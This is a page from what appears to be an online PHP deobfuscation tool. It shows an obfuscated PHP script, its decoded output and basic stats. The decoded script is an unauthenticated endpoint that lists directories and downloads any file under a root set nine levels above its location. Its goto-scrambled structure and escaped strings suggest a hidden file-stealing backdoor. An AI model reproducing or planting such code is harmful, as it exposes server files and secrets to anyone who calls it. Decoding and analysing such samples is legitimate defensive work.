Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto LXHa1; hoVI6: ini_set("\144\151\x73\160\154\141\x79\x5f\x65\162\x72\157\162\x..

Decoded Output download

<?php 
 goto LXHa1; hoVI6: ini_set("display_errors", 1); goto epCqL; Nenmd: $active = realpath($raw_target); goto ZS7L9; LXHa1: error_reporting(E_ALL); goto hoVI6; WF6r4: if (!$target || strpos($target, $root) !== 0) { send(array("status" => "error", "message" => "Blocked path"), 403); } goto DLYld; lQTUM: $raw_target = $path === '' ? $root : $root . DIRECTORY_SEPARATOR . $path; goto Nenmd; GVVJz: $index = isset($_GET["i"]) ? intval($_GET["i"]) : null; goto xCPnJ; AF4_0: send(array("status" => "error", "message" => "Unknown error"), 500); goto p42gf; f5VMn: $name = $scan[$index]; goto xYYE3; f_3I1: $path = trim($_GET["path"] ?? ''); goto GVVJz; fU80B: if ($index === null) { $scan = @scandir($active); if (!$scan) { send(array("status" => "error", "message" => "Cannot read folder"), 403); } $scan = array_values(array_diff($scan, array(".", ".."))); $items = array(); foreach ($scan as $item) { $full = $active . DIRECTORY_SEPARATOR . $item; $isDir = is_dir($full); $items[] = array("name" => $item, "type" => $isDir ? "directory" : "file", "size" => $isDir ? 0 : (int) @filesize($full)); } send(array("status" => "success", "type" => "directory", "path" => $path, "items" => $items)); } goto zSwBR; dJQ_6: if (!$root) { send(array("status" => "error", "message" => "Bad root path"), 400); } goto f_3I1; pZuS_: $root = realpath(dirname(__DIR__, 9)); goto dJQ_6; qcgLc: if (!$scan) { send(array("status" => "error", "message" => "Cannot read folder"), 403); } goto HFJ_r; zSwBR: $scan = @scandir($active); goto qcgLc; cCYLC: $path = trim($path, DIRECTORY_SEPARATOR); goto lQTUM; PYnc1: if (!isset($scan[$index])) { send(array("status" => "error", "message" => "Invalid index", "items" => $scan), 404); } goto f5VMn; D1KUf: if (is_dir($target)) { $sub = @scandir($target); if (!$sub) { send(array("status" => "error", "message" => "Cannot read subdir"), 403); } $sub = array_values(array_diff($sub, array(".", ".."))); $items = array(); foreach ($sub as $item) { $full = $target . DIRECTORY_SEPARATOR . $item; $isDir = is_dir($full); $items[] = array("name" => $item, "type" => $isDir ? "directory" : "file", "size" => $isDir ? 0 : (int) @filesize($full)); } send(array("status" => "success", "type" => "directory", "name" => $name, "items" => $items)); } goto AF4_0; ZS7L9: if (!$active || strpos($active, $root) !== 0) { send(array("status" => "error", "message" => "Invalid path"), 403); } goto yfH92; xYYE3: $target = realpath($active . DIRECTORY_SEPARATOR . $name); goto WF6r4; epCqL: function send($data, $code = 200) { header("Content-Type: application/json; charset=utf-8"); http_response_code($code); echo json_encode($data, JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT); die; } goto pZuS_; yfH92: if (is_file($active)) { $fsize = filesize($active); if ($fsize > 20 * 1024 * 1024) { send(array("status" => "error", "message" => "File too large"), 400); } $content = @file_get_contents($active); if ($content === false) { send(array("status" => "error", "message" => "Cannot read file"), 403); } header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename="" . basename($active) . """); header("Content-Length: " . $fsize); http_response_code(200); echo $content; die; } goto fU80B; HFJ_r: $scan = array_values(array_diff($scan, array(".", ".."))); goto PYnc1; DLYld: if (is_file($target)) { $fsize = filesize($target); if ($fsize > 5 * 1024 * 1024) { send(array("status" => "error", "message" => "File too large"), 400); } $content = @file_get_contents($target); if ($content === false) { send(array("status" => "error", "message" => "Cannot read file"), 403); } header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename="" . basename($target) . """); header("Content-Length: " . $fsize); http_response_code(200); echo $content; die; } goto D1KUf; xCPnJ: $path = str_replace(array("\", "/"), DIRECTORY_SEPARATOR, $path); goto cCYLC; p42gf: ?>

Did this file decode correctly?

Original Code

<?php
 goto LXHa1; hoVI6: ini_set("\144\151\x73\160\154\141\x79\x5f\x65\162\x72\157\162\x73", 1); goto epCqL; Nenmd: $active = realpath($raw_target); goto ZS7L9; LXHa1: error_reporting(E_ALL); goto hoVI6; WF6r4: if (!$target || strpos($target, $root) !== 0) { send(array("\163\x74\x61\x74\x75\x73" => "\145\x72\162\157\162", "\x6d\x65\x73\x73\141\x67\145" => "\102\154\x6f\143\x6b\x65\144\x20\x70\x61\x74\x68"), 403); } goto DLYld; lQTUM: $raw_target = $path === '' ? $root : $root . DIRECTORY_SEPARATOR . $path; goto Nenmd; GVVJz: $index = isset($_GET["\151"]) ? intval($_GET["\151"]) : null; goto xCPnJ; AF4_0: send(array("\163\164\x61\x74\165\163" => "\x65\162\x72\x6f\x72", "\x6d\145\163\x73\x61\147\x65" => "\x55\x6e\153\156\157\x77\156\x20\x65\162\162\x6f\162"), 500); goto p42gf; f5VMn: $name = $scan[$index]; goto xYYE3; f_3I1: $path = trim($_GET["\160\x61\x74\150"] ?? ''); goto GVVJz; fU80B: if ($index === null) { $scan = @scandir($active); if (!$scan) { send(array("\163\x74\x61\164\165\x73" => "\x65\162\162\157\x72", "\x6d\x65\x73\163\141\x67\145" => "\103\x61\156\x6e\157\x74\x20\x72\x65\141\144\40\146\x6f\154\x64\145\x72"), 403); } $scan = array_values(array_diff($scan, array("\x2e", "\56\x2e"))); $items = array(); foreach ($scan as $item) { $full = $active . DIRECTORY_SEPARATOR . $item; $isDir = is_dir($full); $items[] = array("\156\x61\155\145" => $item, "\x74\x79\x70\x65" => $isDir ? "\x64\x69\x72\145\x63\164\x6f\162\171" : "\x66\x69\x6c\x65", "\x73\151\x7a\145" => $isDir ? 0 : (int) @filesize($full)); } send(array("\x73\164\141\x74\165\163" => "\x73\x75\x63\143\x65\163\163", "\x74\x79\160\145" => "\x64\x69\162\145\x63\164\x6f\162\171", "\x70\x61\x74\x68" => $path, "\x69\x74\x65\x6d\163" => $items)); } goto zSwBR; dJQ_6: if (!$root) { send(array("\x73\164\141\164\165\x73" => "\x65\162\162\x6f\x72", "\155\x65\x73\163\141\x67\145" => "\102\x61\144\x20\162\x6f\157\x74\40\x70\x61\164\150"), 400); } goto f_3I1; pZuS_: $root = realpath(dirname(__DIR__, 9)); goto dJQ_6; qcgLc: if (!$scan) { send(array("\163\x74\141\164\165\163" => "\145\x72\x72\157\x72", "\x6d\145\163\x73\141\147\x65" => "\x43\x61\156\156\x6f\164\40\162\145\x61\144\40\146\x6f\x6c\x64\145\x72"), 403); } goto HFJ_r; zSwBR: $scan = @scandir($active); goto qcgLc; cCYLC: $path = trim($path, DIRECTORY_SEPARATOR); goto lQTUM; PYnc1: if (!isset($scan[$index])) { send(array("\163\164\x61\164\165\163" => "\145\x72\162\157\162", "\155\145\163\x73\141\147\145" => "\111\x6e\x76\141\x6c\151\144\40\x69\x6e\x64\x65\x78", "\151\x74\145\x6d\163" => $scan), 404); } goto f5VMn; D1KUf: if (is_dir($target)) { $sub = @scandir($target); if (!$sub) { send(array("\x73\164\141\164\165\163" => "\145\x72\x72\x6f\162", "\155\x65\163\163\x61\147\145" => "\x43\141\156\156\157\164\x20\x72\145\x61\144\40\163\x75\x62\144\x69\x72"), 403); } $sub = array_values(array_diff($sub, array("\56", "\56\56"))); $items = array(); foreach ($sub as $item) { $full = $target . DIRECTORY_SEPARATOR . $item; $isDir = is_dir($full); $items[] = array("\x6e\x61\x6d\145" => $item, "\x74\171\160\145" => $isDir ? "\144\151\x72\x65\x63\x74\157\162\x79" : "\x66\151\154\x65", "\x73\x69\x7a\x65" => $isDir ? 0 : (int) @filesize($full)); } send(array("\x73\x74\141\x74\165\163" => "\x73\x75\143\143\145\x73\x73", "\164\x79\160\145" => "\144\x69\162\145\x63\164\157\162\171", "\156\141\x6d\145" => $name, "\151\164\x65\x6d\x73" => $items)); } goto AF4_0; ZS7L9: if (!$active || strpos($active, $root) !== 0) { send(array("\x73\164\x61\x74\x75\163" => "\x65\162\x72\x6f\x72", "\x6d\145\163\163\x61\147\x65" => "\x49\156\x76\x61\154\151\x64\x20\x70\x61\x74\150"), 403); } goto yfH92; xYYE3: $target = realpath($active . DIRECTORY_SEPARATOR . $name); goto WF6r4; epCqL: function send($data, $code = 200) { header("\103\x6f\x6e\x74\145\x6e\164\x2d\x54\171\160\x65\72\40\x61\160\160\x6c\151\143\x61\164\151\157\156\57\x6a\x73\x6f\x6e\x3b\x20\x63\150\141\162\163\x65\164\x3d\165\x74\x66\55\x38"); http_response_code($code); echo json_encode($data, JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT); die; } goto pZuS_; yfH92: if (is_file($active)) { $fsize = filesize($active); if ($fsize > 20 * 1024 * 1024) { send(array("\x73\164\x61\164\165\163" => "\145\x72\x72\x6f\162", "\155\145\x73\163\141\147\x65" => "\x46\x69\154\x65\40\164\157\x6f\40\x6c\x61\x72\147\145"), 400); } $content = @file_get_contents($active); if ($content === false) { send(array("\163\x74\x61\x74\165\x73" => "\145\x72\x72\x6f\162", "\x6d\x65\163\163\x61\147\145" => "\103\141\156\156\157\x74\40\x72\145\x61\144\x20\146\151\154\145"), 403); } header("\103\x6f\156\164\x65\156\164\x2d\x54\171\160\145\72\40\x61\160\160\154\x69\x63\141\x74\x69\157\156\x2f\157\143\164\145\164\x2d\163\x74\162\145\x61\155"); header("\103\157\156\164\145\x6e\164\55\104\151\x73\x70\x6f\x73\151\x74\x69\x6f\156\72\40\141\x74\x74\141\x63\150\x6d\145\x6e\x74\73\x20\x66\x69\154\145\x6e\x61\x6d\x65\75\42" . basename($active) . "\x22"); header("\x43\157\x6e\x74\x65\156\x74\55\114\145\x6e\x67\x74\x68\x3a\x20" . $fsize); http_response_code(200); echo $content; die; } goto fU80B; HFJ_r: $scan = array_values(array_diff($scan, array("\56", "\x2e\56"))); goto PYnc1; DLYld: if (is_file($target)) { $fsize = filesize($target); if ($fsize > 5 * 1024 * 1024) { send(array("\163\164\141\x74\x75\x73" => "\145\x72\162\x6f\x72", "\x6d\x65\x73\x73\x61\x67\x65" => "\106\151\x6c\145\x20\164\157\x6f\40\x6c\x61\162\147\x65"), 400); } $content = @file_get_contents($target); if ($content === false) { send(array("\163\164\141\x74\x75\x73" => "\145\162\162\x6f\162", "\x6d\x65\x73\163\141\147\145" => "\103\x61\x6e\156\x6f\x74\x20\x72\145\x61\x64\x20\146\151\154\145"), 403); } header("\103\x6f\x6e\164\x65\156\164\55\x54\171\160\x65\x3a\x20\x61\x70\x70\154\151\143\x61\164\x69\x6f\x6e\x2f\157\x63\164\x65\x74\55\x73\164\162\145\x61\x6d"); header("\x43\x6f\x6e\164\145\x6e\164\x2d\x44\x69\163\160\x6f\163\x69\x74\151\x6f\x6e\72\x20\141\x74\x74\x61\143\x68\155\145\x6e\x74\x3b\x20\146\151\x6c\x65\156\141\x6d\x65\x3d\42" . basename($target) . "\42"); header("\103\157\156\x74\x65\x6e\164\55\114\145\156\147\x74\150\72\x20" . $fsize); http_response_code(200); echo $content; die; } goto D1KUf; xCPnJ: $path = str_replace(array("\134", "\x2f"), DIRECTORY_SEPARATOR, $path); goto cCYLC; p42gf: ?>

Function Calls

None

Variables

None

Stats

MD5 bc609da5c5e40291996d6454c78d6226
Eval Count 0
Decode Time 74 ms